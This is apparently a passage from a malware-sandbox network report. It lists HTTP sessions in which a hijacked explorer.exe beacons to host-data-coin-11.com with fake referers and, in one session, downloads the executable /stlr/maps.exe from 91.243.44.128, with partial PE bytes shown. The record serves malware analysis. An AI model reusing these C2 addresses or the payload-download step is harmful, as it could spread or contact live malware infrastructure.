65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.3	49831	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:33.025895119 CET	13371	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nlilrsybs.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 359 Host: host-data-coin-11.com
Dec 28, 2021 05:19:33.138377905 CET	13372	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.3	49832	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:33.229165077 CET	13373	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mpbvjio.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 229 Host: host-data-coin-11.com
Dec 28, 2021 05:19:33.343810081 CET	13374	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:33 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.3	49833	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:33.483509064 CET	13375	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yqtmbdjjxy.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 318 Host: host-data-coin-11.com
Dec 28, 2021 05:19:33.604460955 CET	13375	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 32 65 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f 98 d6 08 55 3f 41 be f2 d8 fc fb 43 fc 53 cd 76 bb 44 10 99 04 e1 fa 67 e5 32 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 2eI:82OU?ACSvDg2P0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.3	49834	91.243.44.128	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:33.674248934 CET	13376	OUT	GET /stlr/maps.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: 91.243.44.128
Dec 28, 2021 05:19:33.737617016 CET	13377	IN	HTTP/1.1 200 OK Date: Tue, 28 Dec 2021 04:19:33 GMT Server: Apache/2.4.18 (Ubuntu) Last-Modified: Mon, 27 Dec 2021 19:51:47 GMT ETag: "21af80-5d42608f7478b" Accept-Ranges: bytes Content-Length: 2207616 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program Data Raw: 4d 5a e2 15 17 e8 ec 6f ac 01 a3 67 88 27 b0 3a 07 28 33 98 08 dd 33 32 a2 e3 d0 db df 66 f6 e9 c8 9b f0 ce 43 27 42 7b 62 19 d6 e4 19 09 05 f6 16 cd 2b 9a c3 52 c6 c7 98 88 64 3a 00 01 00 00 0b 51 d1 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4b 95 c0 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 2c 01 00 00 de 03 00 00 00 00 00 00 e0 4b 00 00 10 00 00 00 40 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 4d 00 00 04 00 00 90 20 22 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 70 49 00 54 01 00 00 00 80 49 00 9c 54 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 73 68 61 72 65 64 00 00 60 49 00 00 10 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 2e 70 64 61 74 61 00 00 00 10 00 00 00 70 49 00 00 02 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 9c 54 02 00 00 80 49 00 9c 54 02 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 44 41 54 41 00 00 00 00 00 80 01 00 00 e0 4b 00 47 7d 01 00 00 5c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 29 63 0b 89 02 9e c8 7a 45 47 cb 7a 99 64 7b f0 a6 27 04 76 d5 e2 36 1f 40 27 54 59 3d 06 0d c2 02 87 04 64 a6 a2 0e b2 65 d2 92 7d 55 82 c3 f7 d0 4a e8 a0 f1 03 6c 70 49 00 Data Ascii: MZog':(332fC'B{b+Rd:QPELKa,K@@`M "@pITIT.shared`I`.pdatapI@.rsrcTIT@@DATAKG}\@)czEGzd{'v6@'TY=de}UJlpI

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.3	49837	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:36.893117905 CET	15687	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://igwdjt.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 251 Host: host-data-coin-11.com
Dec 28, 2021 05:19:37.004609108 CET	15688	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:36 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.3	49838	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:37.109743118 CET	15689	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xmhrnshbsf.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 119 Host: host-data-coin-11.com
Dec 28, 2021 05:19:37.232554913 CET	15690	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.3	49839	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:37.341648102 CET	15691	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tmtvrgtd.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 123 Host: host-data-coin-11.com
Dec 28, 2021 05:19:37.457096100 CET	15692	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.3	49840	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:37.585829973 CET	15693	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://mnjhltsqk.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 288 Host: host-data-coin-11.com
Dec 28, 2021 05:19:37.710366964 CET	15693	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:37 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 45 0c a7 35 f4 eb 66 c1 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevE5fdP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49746	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:18:40.163245916 CET	1169	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rcrjju.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 217 Host: host-data-coin-11.com
Dec 28, 2021 05:18:40.273197889 CET	1170	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:18:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.3	49842	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:40.682996035 CET	16238	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://npiwsugx.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 154 Host: host-data-coin-11.com
Dec 28, 2021 05:19:40.800750017 CET	16240	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.3	49844	5.188.89.48	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 28, 2021 05:19:40.910731077 CET	16241	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://xqkct.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 331 Host: host-data-coin-11.com
Dec 28, 2021 05:19:41.026969910 CET	16247	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 28 Dec 2021 04:19:40 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 